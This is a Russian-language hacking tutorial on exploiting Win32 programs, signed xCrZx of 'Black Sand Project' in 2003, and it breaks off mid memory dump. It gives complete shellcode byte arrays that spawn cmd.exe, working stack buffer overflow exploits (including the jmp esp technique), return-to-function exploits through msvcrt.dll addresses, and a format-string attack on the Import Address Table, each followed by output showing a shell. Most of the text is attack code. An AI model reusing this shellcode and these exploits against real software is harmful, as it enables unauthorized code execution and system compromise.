С недавних пор меня начали интересовать Win32 операционные системы по ряду причин: а) за последнее время значительно вырос коэффициент уязвимых программ б) об этом мало изложено информации в интернете (а кое о чем вовсе не изложено). В данной статье я попытаюсь объяснить и показать наглядно широко известные уязвимости в программных продуктах в среде Win32.
.-:[1] Intro .-:[2] ShellCoding .-:[3] Buffer Overflow .-:[4] Ret-to-func .-:[5] Format String .-:[6] Heap Overflow .-:[7] Outro
Для начала, хочу рассказать о том, как пишутся шеллкоды в среде Win32.
Технология написания шеллкода очень напоминает аналогичный процесс написания
шеллкода под unix\linux. В отличии от libc в *nix'e, в среде Win32 используются
адреса функций, содержащихся в модулях (библиотеках *.dll), которые и используются
при создании шеллкода.
Для упрощения написания предлагаю написать простенькую программку на MSVC++
6.0,
которая будет запускать cmd.exe.
.:-[source code]-------------------
#include <windows.h>
#include <stdio.h>
int main() {
system("cmd");
exit(0);
}
.:-[end of source code]------------
Если запустить данную программку, то можно получить шелл, который появится в вашей командной строке (prompt'e).
Теперь необходимо выяснить, как выглядят инструкции (байткод) на этапе выполнения программы. Для этого можно воспользоваться стандартным отладчиком MSVC++ 6.0.
В дизассемблированном виде эта программа будет выглядеть так:
.:-[disassembled]------------------
...
4: int main() {
00401010 55 push ebp
00401011 8B EC mov ebp,esp
00401013 83 EC 40 sub esp,40h
00401016 53 push ebx
00401017 56 push esi
00401018 57 push edi
00401019 8D 7D C0 lea edi,[ebp-40h]
0040101C B9 10 00 00 00 mov ecx,10h
00401021 B8 CC CC CC CC mov eax,0CCCCCCCCh
00401026 F3 AB rep stos dword ptr [edi]
5:
6: system("cmd");
00401028 68 1C 20 42 00 push offset string "cmd" (0042201c)
0040102D E8 FE 01 00 00 call system (00401230)
00401032 83 C4 04 add esp,4
7: exit(0);
00401035 6A 00 push 0
00401037 E8 64 00 00 00 call exit (004010a0)
8: }
...
.:-[end of disassembled]-----------
Из этих строк нам важны только 6 и 7. Как можно видеть это и есть готовый шеллкод,
который можно использовать. Но в нём присутствуют 0х00 байты, которые будут мешаться
при копировании шеллкода как строку, при использовании таких функций как strcpy(),sprintf()
и т.д., т.к. эти функции определяют конец строки по нахождению 0х00 байта.
Плюс, ко всему прочему, как видно, что перед вызовом функции system() в стек заносится
адрес аргумента этой функции ("cmd"). Т.е., нам надо придумать так, чтобы мы зарание
знали адрес аргумента. Для этого разумно аргумент поместить в стек и записать его адрес,
который легко определяется.
Для облегчения задачи необходимо написать данный код на ассемблере, используя
всё тот же
MSVC++ 6.0:
(при этом нужно узнать адреса функций..для чего можно добавить строчку printf("system=%p,
exit=%p\n",system,exit);
и посмотреть результат)
.:-[source code]-------------------
#include <windows.h>
#include <stdio.h>
void main() {
printf("system=%p, exit=%p\n",system,exit);
__asm {
xor ebx,ebx
push ebx
push 0x646d6320
push esp
or ebx,0x401110aa // 0x401110 - address of system
shr ebx,8
call ebx
xor ecx,ecx
push ecx
or ecx,0x401260aa // 0x401260 - address of exit
shr ecx,8
call ecx
}
}
.:-[end of source code]------------
В дизассемблированном варианте это будет смотреться таким образом:
.:-[disassembled]------------------
8: __asm {
9:
10: xor ebx,ebx
0040103F 33 DB xor ebx,ebx
11: push ebx
00401041 53 push ebx
12: push 0x646d6320
00401042 68 20 63 6D 64 push 646D6320h
13: push esp
00401047 54 push esp
14:
15: or ebx,0x401110aa // 0x401110 - address of system
00401048 81 CB AA 10 11 40 or ebx,401110AAh
16: shr ebx,8
0040104E C1 EB 08 shr ebx,8
17: call ebx
00401051 FF D3 call ebx
18:
19: xor ecx,ecx
00401053 33 C9 xor ecx,ecx
20: push ecx
00401055 51 push ecx
21:
22: or ecx,0x401260aa // 0x401260 - address of exit
00401056 81 C9 AA 60 12 40 or ecx,401260AAh
23: shr ecx,8
0040105C C1 E9 08 shr ecx,8
24: call ecx
0040105F FF D1 call ecx
25:
26: }
27: }
.:-[end of disassembled]-----------
Как можно видеть мы избавились от 0х00 и сделали так, что аргумент записывается в стек и после этого мы помещается адрес этого аргумента в стеке.
Если запустить эту программку, то запустится cmd.exe , после выхода из которого выполнится exit(0);
Итак, получаем окончательный результат:
.:-[shellcode]---------------------
#include <windows.h>
#include <stdio.h>
/*
\ ShellCode for Win32 [34bytes]
/
\ Writed By xCrZx /Black Sand Project/ [27.10.2003]
/
\ shellcode does: system("cmd ");exit(0);
/
\ note: address of system & exit functions must be obtained
/
\ tested on WinXP & Win2k
/
\
*/
char shellcmd[] =
/* system("cmd "); */
//store cmd in stack
"\x33\xdb" // xor ebx,ebx
"\x53" // push ebx
"\x68\x20\x63\x6d\x64" // push 646d6320h
"\x54" // push esp
//call system
"\x81\xcb\xaa\x90\x10\x40" // or ebx,401090AAh -- 0x401090 - address
of system
"\xc1\xeb\x08" // shr ebx,8
"\xff\xd3" // call ebx
/* exit(0) */
//store 0 in stack
"\x33\xc9" // xor ecx,ecx
"\x51" // push ecx
//call exit
"\x81\xc9\xaa\xe0\x11\x40" // or ecx,4011e0AAh -- 0x4011e0 - address
of exit
"\xc1\xe9\x08" // shr ecx,8
"\xff\xd1" // call ecx
;
void main() {
int (*aa)();
printf("crzz\n");
printf("system=%p, exit=%p\n",system,exit);
aa=(int (*)()) &shellcmd;
(int)(*aa)();
/*
__asm {
xor ebx,ebx
push ebx
push 0x646d6320
push esp
or ebx,0x401110aa // 0x401110 - address of system
shr ebx,8
call ebx
xor ecx,ecx
push ecx
or ecx,0x401260aa // 0x401260 - address of system
shr ecx,8
call ecx
}
*/
}
.:-[end of shellcode]--------------
Единственный недостаток данного шеллкода состоит в том, что его нельзя просто так использовать, не зная адресов system и exit.
если добавить в эту программу (^^^) какую-нибудь функцию, к примеру Sleep(1);, откомпилировать и запустить, то адреса system() & exit() будут уже другие и шеллкод не исполнится.
Что же делать в этом случае? Нам необходимо непосредственно найти модуль, в котором содержатся нужные нам функции. Таким модулем является msvcrt.dll (чтоб в этом убедиться достаточно взглянуть на msvcrt.dll в том же FAR'e и найти там строки system и exit)!
Сразу хочу отметить, что каждому модулю присваивается своё адресное пространство (в разных версиях модулей и Windows, соответственно, эти адресные пространства отличны).
Хочу, кстати, отметить, что программка, которая находится выше... не зависит от версии модуля, либо от самой ОС Windows, т.к. не использует адреса функций из модулей. Если запустить её на XP & Win2k, то шеллкод всегда исполнится нормально. В отличии от случая, когда берутся адреса непосредственно из модулей, т.к. эти адреса, как я сказал выше, различны в разных версиях модулей (ОС Windows).
Итак, чтобы получить адреса нужных нам функций, необходимо загрузить модуль и достать из него адреса.
Что хорошо демонстрирует данная программа:
.:-[source code]-------------------
#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt.dll");
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
(ProcAdd) ("cmd");
return 0;
}
.:-[end of source code]------------
Данная программа загружает модуль msvcrt.dll, получает адрес функции system и запускает эту функцию с аргументом "cmd".
Используя, опять же, отладчик MSVC++ 6.0, можно определить какой адрес присваевается переменной ProcAdd:
.:-[disassembled]------------------
12: ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
0040103F 8B F4 mov esi,esp
00401041 68 20 F0 41 00 push offset string "system" (0041f020)
00401046 8B 45 FC mov eax,dword ptr [ebp-4]
00401049 50 push eax
0040104A FF 15 38 41 42 00 call dword ptr [__imp__GetProcAddress@8 (00424138)]
^
| после выполнения данного вызова в регистр EAX
запишется адрес функции system() => EAX = 77C18044
.:-[end of disassembled]-----------
Такую же операцию можно проделать и с функцией exit , чтобы узнать её адрес.
В итоге мы получили эти адреса, теперь можно приступить к написанию шеллкода, задача которого состоит в том, чтобы загрузить модуль и выполнить необходимые нам функции system() & exit(0); , используя полученные адреса функций:
(чтобы найти адрес LoadLibrary, необходимо в дизассемблированном виде посмотреть
откуда берётся адрес и найти его в памяти с помощью утилиты отладчика:
0040107C FF 15 3C 41 42 00 call dword ptr [__imp__LoadLibraryA@4 (0042413c)]
0042413C D8 05 E8 77 38 C9 E7 77 86 C4 E7 77 B5 5C E7 77 A5 36 EB 77 3D 9C E7 77 8C 9D E7 77 C5 78 E7 77 34 BD E9 Ш.иw8Йзw+Дзwч\зw_6лw=_зw__зwЕxзw4_й
^^^^^^^^^^^ вот и адрес - 0x77e805d8
А можно и аналогичным способом найти этот адрес, загрузив kernel32.dll и взять
адрес
LoadLibraryA)
.:-[source code]-------------------
#include <windows.h>
#include <stdio.h>
int main()
{
__asm {
xor edx,edx
push edx
push 0x20206c6c
push 0x642e7472
push 0x6376736d
push esp
mov ecx,0x77e805d8 //address of LoadLibraryA() in kernel32.dll
call ecx
push edx
push 0x646d6320
push esp
mov ecx,0x77C18044 //address of system in msvcrt.dll
call ecx
push edx
mov ecx,0x77C27ADC //address of exit in msvcrt.dll
call ecx
}
}
.:-[end of source code]------------
окончательный результат:
.:-[source code]-------------------
/*
\
/ shellcode for Win32 with using msvcrt,dll [48bytes]
\
/ tested on WinXP ver. 5.1.2600
\
/ msvcrt.dll information:
\ FileVersion: 7.0:2600.0
/ ProdVersion: 6.1:8638.0
\
/ by xCrZx /Black Sand Project/ 29.10.03
\
/
\ shellcode does: LoadLibrary("msvcrt.dll");system("cmd");exit(0);
/
\ Note: adresses of system,exit are static but depending on version of msvcrt.dll
/
\
*/
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
char shellcode[] =
"\x33\xD2"
"\x52"
"\x68\x6C\x6C\x20\x20"
"\x68\x72\x74\x2E\x64"
"\x68\x6D\x73\x76\x63"
"\x54"
"\xB9\xD8\x05\xE8\x77"
"\xFF\xD1"
"\x52"
"\x68\x20\x63\x6D\x64"
"\x54"
"\xB9\x44\x80\xC1\x77"
"\xFF\xD1"
"\x52"
"\xB9\xDC\x7A\xC2\x77"
"\xFF\xD1";
int main() {
int (*p)();
p=(int (*)()) &shellcode;
(*p)();
/*
__asm {
xor edx,edx
push edx
push 0x20206c6c
push 0x642e7472
push 0x6376736d
push esp
mov ecx,0x77e805d8 //address of LoadLibraryA() in kernel32.dll
call ecx
push edx
push 0x646d6320
push esp
mov ecx,0x77C18044 //address of system in msvcrt.dll
call ecx
push edx
mov ecx,0x77C27ADC //address of exit in msvcrt.dll
call ecx
}
*/
return 0;
}
.:-[end of source code]------------
Разумеется адреса этих функций зависят от версий модулей kernel32.dll &
msvcrt.dll (от Windows).
Ед., что еще можно тут придумать, так это добиться полуавтоматики: чтобы программа сама находила адреса exit & system, но при этом нам всё ещё необходимо знать адреса LoadLibraryA и GetProcAddress, чтобы проделать это. Некоторые китайские коллеги умудрились и эти адреса автоматически определять :).
Для этого дела необходимо рассмотреть уже выше изложенную программку, которая загружает модуль, находит адрес и вызывает функцию с параметром. И переписать её на ассемблере!
Конечный результат:
.:-[source code]-------------------
/*
\ Half Automated shellcode for Win32 with using msvcrt.dll [79bytes]
/
\
/ tested on WinXP ver. 5.1.2600
\
/ msvcrt.dll information:
\ FileVersion: 7.0:2600.0
/ ProdVersion: 6.1:8638.0
\
/ by xCrZx /Black Sand Project/ 29.10.03
\
/
\ shellcode does: GetProcAddress(LoadLibrary("msvcrt.dll"),"system");system("cmd");
/ GetProcAddress(LoadLibrary("msvcrt.dll"),"exit");exit(0);
\
/ Note: you should know address of LoadLibraryA & GetProcAddress of kernel32.dll
\
/
\
*/
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
char shellcode[] =
"\x33\xf6"
"\x56"
"\x68\x6c\x6c\x20\x20"
"\x68\x72\x74\x2E\x64"
"\x68\x6D\x73\x76\x63"
"\x54"
"\xB9\xD8\x05\xE8\x77"
"\xff\xd1"
"\x56"
"\xb9\xaa\xaa\x65\x6d"
"\xc1\xe9\x10"
"\x51"
"\x68\x73\x79\x73\x74"
"\x54"
"\x50"
"\x8B\xF8"
"\xB9\xFD\xA5\xE7\x77"
"\xff\xd1"
"\x56"
"\x68\x20\x63\x6d\x64"
"\x54"
"\xff\xd0"
"\x56"
"\x68\x65\x78\x69\x74"
"\x54"
"\x57"
"\xb9\xfd\xa5\xe7\x77"
"\xff\xd1"
"\x56"
"\xff\xd0";
int main()
{
int (*p)();
p=(int (*)())&shellcode;
(*p)();
/*
__asm {
xor esi,esi
push esi
push 0x20206c6c
push 0x642e7472
push 0x6376736d
push esp
mov ecx,0x77e805d8 //address of LoadLibraryA() in kernel32.dll
call ecx
push esi
mov ecx,0x6d65aaaa
shr ecx,16
push ecx
push 0x74737973
push esp
push eax
mov edi,eax
mov ecx,0x77e7a5fd //address of GetProcAddress in kernel32.dll
call ecx
push esi
push 0x646d6320
push esp
call eax
push esi
push 0x74697865
push esp
push edi
mov ecx,0x77e7a5fd
call ecx
push esi
call eax
}
*/
return 0;
}
.:-[end of source code]------------
Таким же образом можно создать любой другой шеллкод!
Переполнение буфера в Win32 схоже с переполнением буфера в *nix. Происходит затерание EIP (адреса возврата функции). Подробно об этом было изложено мной в статье 'Modern Kinds Of System Attacks' (для *nix).
Предлагаю сразу рассмотреть простенький пример:
.:-[source code]-------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int fuck(char *str) {
char yo[100];
strcpy(yo,str);
return 0;
}
int main(int argc, char **argv) {
char promo[500];
if(strlen(argv[1])>500) exit(0);
sprintf(promo,"%s",argv[1]);
fuck(promo);
return 0;
}
.:-[end of source code]------------
Подав программе строку, длина которой находится в промежутке >100 и <500 символов, произойдет перезапись EIP и прыжок при выходе из функции на этот адрес, что приведёт к критический ошибке и появится окошко об уведомлении (в моём XP появляется окошко с кнопками "Отладка","Отправить отсчет","Не отправлять" :). Щёлкнув на "Отладку" можно лицезреть, что собственно произошло! лицезреть, что собственно произошло!
...
41414141 ???
...
EIP = 41414141 ESP = 0012FF30
EBP = 41414141 EFL = 00000246 CS = 001B
программа попыталась прочесть следующую инструкцию по адресу 0x41414141.
Теперь стоит упомянуть, что запускаемые программы в Windows основываются на адресных пространствах, имеющих вид 0x00XXXXXX.
Т.е. в адресе присутствует 0х00 и это может затруднить положение, если, к примеру
мы хотим поместить наш шеллкод после EIP (например , из-за того, что после выхода
из
функции fuck() данные char yo[100] уничтожатся, но к счастью наши данные будут
лежать и в char promo[500] тоже ).
Так же трудности могут возникнуть, если функция в уязвимой программе, через которую осуществляется переполнение есть (либо подобна) memcpy(), которая после копирования данных не завершает этот процесс записью в конец 0х00 байта. В этом случае EIP будет выглядеть так - 0xXXZZZZZZ, где ZZ - байты, на которые мы перезаписали EIP, а XX - байт , который был на этом месте от старого значения EIP.
В случае, когда в уязвимой программе переполнение осуществляется с помощью функций strcpy(),strcat(),sprintf(),etc. Тогда этот байт (ХХ) затирается на 0х00, чтобы обозначить конец строки.
Давайте попробуем перезаписать EIP на нужный нам адрес, который будет указывать на promo, т.к. в нём будет храниться шеллкод. Для этого необходимо знать как будет выглядеть стек после вызова fuck():
[ char yo[100] ][EBP][EIP]
я нашёл шеллкод по адресу - 0x0012fd90. Это и будет наш новый адрес, который поместится в EIP.
Эксплоит (пришлось модифицировать шеллкод, чтоб избавиться от 0х20, т.к. при
передачи аргумента через system() уязвимая программа vuln1.exe будет воспринимать
всё, что дальше 0х20 как argv[2] и т.д.):
.:-[exploit code]------------------
/*
\ Buffer Overflow exploit example for Win32
/
\ by xCrZx /Black Sand Project/ /01.11.03/
/
\
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
char shellcode[] =
"\x33\xf6"
"\xB9\xAA\xAA\x6C\x6C"
"\xC1\xE9\x10"
"\x51"
"\x68\x72\x74\x2E\x64"
"\x68\x6D\x73\x76\x63"
"\x54"
"\xB9\xD8\x05\xE8\x77"
"\xff\xd1"
"\xb9\xaa\xaa\x65\x6d"
"\xc1\xe9\x10"
"\x51"
"\x68\x73\x79\x73\x74"
"\x54"
"\x50"
"\x8B\xF8"
"\xB9\xFD\xA5\xE7\x77"
"\xff\xd1"
"\xb9\xaa\x63\x6d\x64"
"\xC1\xE9\x08"
"\x51"
"\x54"
"\xff\xd0"
"\x56"
"\x68\x65\x78\x69\x74"
"\x54"
"\x57"
"\xb9\xfd\xa5\xe7\x77"
"\xff\xd1"
"\x56"
"\xff\xd0";
int main(int argc, char **argv) {
char buf[100+4*2+1];
char cmd[600];
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,104-strlen(shellcode));
memcpy(buf+strlen(buf),&shellcode,strlen(shellcode));
*(long *)&buf[strlen(buf)]=0x0012fd90;
sprintf(cmd,"C:\\MSVCSTAFF\\Debug\\vuln1.exe %s",buf);
system(cmd);
return 0;
}
.:-[end of exploit code]-----------
Пример:
C:\MSVCSTAFF\Debug>exploit.exe
Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.
C:\MSVCSTAFF\Debug>exit
C:\MSVCSTAFF\Debug>
Теперь возьмём тот же самый пример, и допустим, что у нас нет char promo[500]; В этом случае шеллкод придётся сохранять за [EIP]:
...[EIP][SHELLCODE]
.:-[source code]-------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int fuck(char *str) {
char yo[100];
strcpy(yo,str);
return 0;
}
int main(int argc, char **argv) {
fuck(argv[1]);
return 0;
}
.:-[end of source code]------------
для этого нам уже нельзя использовать в качестве адреса возврата адрес, содержащий 0х00 байт.
Что делать в этом случае? Если быть внимательным, то можно уловить нужную информацию из регистров:
(при переполнении)
EAX = 00000000 EBX = 7FFDF000
ECX = 00430EBC EDX = FDFD0044
ESI = 00000000 EDI = 0012FF80
EIP = 41414141 ESP = 0012FF30
EBP = 41414141 EFL = 00000246 CS = 001B
Регистры EDI & ESP - содержат адреса, которые потенциально могут указывать на наш шеллкод (в частности, ESP - указатель на вершину стека и это то, что нам нужно):
0012FF30 41 41 41 41 41 41 41 41 41 41 41 41 33 F6 B9 AA AA 6C 6C C1 E9 10 51 68 72 74 2E 64 68 6D 73 76 63 54 B9 AAAAAAAAAAAA3ц.ЄЄllБй.Qhrt.dhmsvcT. 0012FF53 D8 05 E8 77 FF D1 B9 AA AA 65 6D C1 E9 10 51 68 73 79 73 74 54 50 8B F8 B9 FD A5 E7 77 FF D1 B9 AA 63 6D Ш.иwяС.ЄЄemБй.QhsystTP<ш.э_зwяС.Єcm 0012FF76 64 C1 E9 08 51 54 FF D0 56 68 65 78 69 74 54 57 B9 FD A5 E7 77 FF D1 56 FF D0 90 FD 12 44 00 30 14 00 00 dБй.QTяРVhexitTW.э_зwяСVяР_э.D.0...
^^^ А вот и наш буфер, содержащий 0x41(вместо 0х90)+шеллкод :)
Теперь нужно найти инструкцию JMP ESP, которая осуществляет переход по адресу,
заданному в ESP! Такие инструкции содержатся в разных модулях. Модуль, который
всегда мелькает перед глазами - kernel32.dll (в нём и следует начать искать
данную
инструкцию).
57: jmp esp
0040102E FF E4 jmp esp
^^^^^вот эти байты нам нужно отыскать
я нашёл эту инструкцию по адресу: 0x77F5800D+15
Эксплоит:
.:-[exploit code]------------------
/*
\ Buffer Overflow exploit example for Win32
/
\ by xCrZx /Black Sand Project/ /01.11.03/
/
\ note: using 'jmp esp' technique
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
char shellcode[] =
"\x33\xf6"
"\xB9\xAA\xAA\x6C\x6C"
"\xC1\xE9\x10"
"\x51"
"\x68\x72\x74\x2E\x64"
"\x68\x6D\x73\x76\x63"
"\x54"
"\xB9\xD8\x05\xE8\x77"
"\xff\xd1"
"\xb9\xaa\xaa\x65\x6d"
"\xc1\xe9\x10"
"\x51"
"\x68\x73\x79\x73\x74"
"\x54"
"\x50"
"\x8B\xF8"
"\xB9\xFD\xA5\xE7\x77"
"\xff\xd1"
"\xb9\xaa\x63\x6d\x64"
"\xC1\xE9\x08"
"\x51"
"\x54"
"\xff\xd0"
"\x56"
"\x68\x65\x78\x69\x74"
"\x54"
"\x57"
"\xb9\xfd\xa5\xe7\x77"
"\xff\xd1"
"\x56"
"\xff\xd0";
int main(int argc, char **argv) {
char buf[200+4*2+1];
char cmd[600];
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,204-strlen(shellcode));
memcpy(buf+strlen(buf),&shellcode,strlen(shellcode));
*(long *)&buf[104]=(0x77F5800D+15);
sprintf(cmd,"C:\\MSVCSTAFF\\Debug\\vuln1.exe %s",buf);
system(cmd);
return 0;
}
.:-[end of exploit code]-----------
Результат:
C:\MSVCSTAFF\Debug>exploit.exe
Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.
C:\MSVCSTAFF\Debug>exit
C:\MSVCSTAFF\Debug>
Это, на мой взгляд, исчерпывающая информация о переполнении буфера!
Эта технология эксплоитинга широко распространена в операционных системах, где существует так называемая защита от всякого рода buffer overflow, etc , т.е. от выполнения шеллкода в стеке (non-exec stack).
Мы не можем использовать шеллкод на этот раз, но мы можем переписать EIP на адрес какой-либо функции (обычно это system(), по понятным причинам :).
Как же это работает? При вызове функции берётся адрес аргумента(ов) из стека (как это было видно ранее при дизассемблировании. Т.е. нам достаточно добавить адреса, указывающие на наши аргументы и дело в шляпе. Для system() - это адрес, где расположена строка "cmd". Ед. проблема состоит в том, что опять же используемое адресное пространство - 0х00XXXXXX ! для этого надо использовать адрес функции system из модуля...
Общий вид заполнения таков:
...[OVERWRITED EIP (SYSTEM())][ADDR OF NEXT FUNC][ADDR OF ARG FOR SYSTEM()][ARG FOR NEXT FUNC]...
Как же это работает? При вызове функции берётся адрес аргумента(ов) из стека (как это было видно ранее при дизассемблировании. Т.е. нам достаточно добавить адреса, указывающие на наши аргументы и дело в шляпе. Для system() - это адрес, где расположена строка "cmd". Ед. проблема состоит в том, что опять же используемое адресное пространство - 0х00XXXXXX ! для этого надо использовать адрес функции system из модуля...
Если мы хотим после system() вызвать exit(), то заполнение будет следующее:
...[OVERWRITED EIP (SYSTEM())][ADDR OF EXIT()][ADDR OF ARG FOR SYSTEM()][ARG
OF EXIT()]...
Сначала вызывается System(), после Exit().
простой пример тому, без использования адресов из модулей:
.:-[exploit code]------------------
/*
\ Return-To-Func example for Win32
/
\ by xCrZx /Black Sand Project/ /01.11.03/
/
\
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int main()
{
char aaa[20]="cmd\x00\x00\x00\x00\x00\x00";
long *p;
p=(long *)&system;
long *b;
b=(long *)&exit;
__asm {
mov dword ptr [ebp+4],0x00401280 //addr of system()
mov dword ptr [ebp+8],0x004010f0 //addr of exit()
mov dword ptr [ebp+12],0x0012ff6c //addr of arg for system()
mov dword ptr [ebp+16],0x00000000 //arg for exit()
}
return 0;
}
.:-[end of exploit code]-----------
Результат:
C:\MSVCSTAFF\Debug>test.exe
Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.
C:\MSVCSTAFF\Debug>exit
C:\MSVCSTAFF\Debug>
Теперь допустим у нас есть уязвимая программа:
(ед. ньюанс - уязвимая программа должна использовать модуль(библиотеку))
.:-[source code]-------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int main(int argc, char **argv) {
char abc[10];
LoadLibrary("msvcrt.dll");
strcpy(abc,argv[1]);
return 0;
}
.:-[end of source code]------------
Адреса функций system & exit в модуле msvcrt.dll мы знаем! Осталось найти "cmd"
где-нибудь в модуле! И я смог найти "cmd" по адресу 0x77C01335! (в msvcrt.dll)
.:-[exploit code]------------------
/*
\ Return-To-Func exploit example for Win32
/
\ by xCrZx /Black Sand Project/ /01.11.03/
/
\
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int main()
{
long sys_addr=0x77C18044;
long exit_addr=0x77C27ADC;
long cmd_addr=0x77C01335;
char cmd[100]="C:\\MSVCSTAFF\\Debug\\vuln2.exe AAAAAAAAAABBBBCC";
*(long *)&cmd[strlen(cmd)]=sys_addr;
*(long *)&cmd[strlen(cmd)]=exit_addr;
*(long *)&cmd[strlen(cmd)]=cmd_addr;
system(cmd);
return 0;
}
.:-[end of exploit code]-----------
Как видно, замечательно работает:
C:\MSVCSTAFF\Debug>ret-to-func-exp.exe
Microsoft Windows XP [Версия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.
C:\MSVCSTAFF\Debug>exit
C:\MSVCSTAFF>
Опять же... для каждой версии msvcrt.dll (Windows) своё адресное пространство, т.ч. нужно не забывать этот факт!
Большенство из вас (и даже некоторых опытных специалистов в области компьютерной безопасности, с которыми мне пришлось общаться) не подозревали, что уязвимость класса формат строки (format string) может быть использована в целях получения шелла (это было связано с тем, что никто из них толком не изучал эту тему).
Процесс протекает аналогично тому, который используется в *nix'e.
В windows есть аналог GOT'y - Import Address Table (IAT)...где в виде таблицы хранятся адреса функций, а ниже соответствующие этим адресам наименования функций.
Надеюсь, читатель знает каким свойством обладает %n (записывает по адресу аргумента кол-во символов до данного оператора). Об этом очень хорошо было описано в своё время на void.ru в статьях ya_man'a.
Рассмотрим сразу наглядную уязвимую программу:
.:-[source code]-------------------
#include <windows.h>
#include <stdio.h>
int main(int argc, char **argv) {
char abc[200];
int yo;
yo=atoi(argv[1]);
strncpy(abc,argv[2],199);
printf(abc);
ExitProcess(0);
}
.:-[end of source code]------------
C:\MSVCSTAFF\Debug>vuln3.exe 666 AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAA143018.0.7ffdf000.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccc
cccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.ccc
ccccc.29a
C:\MSVCSTAFF\Debug>
Мы нашли начальную позицию внесения данных в char abc[100]; (0x29a - 666)
Теперь остаётся занести на эту позицию нужный адрес, который мы хотим перезаписать и послать нужно сформированную строку!
т.е. вместо 666 нужно вписать адрес в десятичном виде и последний %x, который указывает на эту позицию (точнее, вынимает из стека в качестве аргумента) заменить на %n (ну и сделать так, чтоб кол-во символов до %n было равно адресу на шеллкод в десятичном виде)! Вот пожалуй и всё :) !
Остаётся выяснить адрес, который нужно перезаписать, если посмотреть на память повнимательней, то можно найти адреса функций (а именно, нас интересует адрес функции ExitProcess()):
.:-[disassembled]------------------ 00425119 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B5 5C E7 77 ...............................ч\зw 0042513C 38 C9 E7 77 86 C4 E7 77 A5 36 EB 77 3D 9C E7 77 8C 9D E7 77 C5 78 E7 77 34 BD E9 77 FD A5 E7 77 D8 05 E8 8Йзw+Дзw_6лw=_зw__зwЕxзw4_йwэ_зwШ.и 0042515F 77 EF 77 E7 77 99 A0 E7 77 B4 16 E6 77 90 9C E7 77 84 9A EB 77 B1 C5 E9 77 E1 C9 E7 77 24 99 E7 77 02 77 wпwзw. зw_.жw__зw"_лw+ЕйwбЙзw$.зw.w 00425182 E6 77 E1 7E E7 77 31 C9 E7 77 06 84 E7 77 7A 17 E6 77 0B 6E E7 77 26 C7 E7 77 97 15 F5 77 34 9E E7 77 3E жwб~зw1Йзw."зwz.жw.nзw&Ззw-.хw4_зw> 004251A5 18 F6 77 96 31 E7 77 9C 33 E7 77 24 C9 E6 77 7D 15 F5 77 68 69 E7 77 CE 7C E7 77 EB 41 E6 77 66 C8 E7 77 .цw-1зw_3зw$Йжw}.хwhiзwО|зwлAжwfИзw 004251C8 9F 84 E7 77 3F A1 E7 77 03 C7 E6 77 F8 16 F5 77 0A 98 E7 77 2F 72 F5 77 F9 3F E7 77 81 8C E7 77 05 74 E7 _"зw?Ўзw.Зжwш.хw..зw/rхwщ?зw__зw.tз 004251EB 77 F9 81 E7 77 2E FF E7 77 63 79 E7 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wщ_зw.язwcyзw...................... 0042520E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................................... 00425231 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7D 00 45 78 69 74 50 72 6F 63 65 73 .......................}.ExitProces 00425254 73 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 CA 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 74 s.KERNEL32.dll..К.GetCommandLineA.t 00425277 01 47 65 74 56 65 72 73 69 6F 6E 00 00 51 00 44 65 62 75 67 42 72 65 61 6B 00 00 52 01 47 65 74 53 74 64 .GetVersion..Q.DebugBreak..R.GetStd 0042529A 48 61 6E 64 6C 65 00 00 DF 02 57 72 69 74 65 46 69 6C 65 00 AD 01 49 6E 74 65 72 6C 6F 63 6B 65 64 44 65 Handle..Я.WriteFile.-.InterlockedDe 004252BD 63 72 65 6D 65 6E 74 00 00 F5 01 4F 75 74 70 75 74 44 65 62 75 67 53 74 72 69 6E 67 41 00 00 3E 01 47 65 crement..х.OutputDebugStringA..>.Ge 004252E0 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 C2 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 B0 01 49 6E 74 tProcAddress..В.LoadLibraryA..°.Int 00425303 65 72 6C 6F 63 6B 65 64 49 6E 63 72 65 6D 65 6E 74 00 00 24 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E erlockedIncrement..$.GetModuleFileN 00425326 61 6D 65 41 00 00 9E 02 54 65 72 6D 69 6E 61 74 65 50 72 6F 63 65 73 73 00 00 F7 00 47 65 74 43 75 72 72 ameA.._.TerminateProcess..ч.GetCurr 00425349 65 6E 74 50 72 6F 63 65 73 73 00 AD 02 55 6E 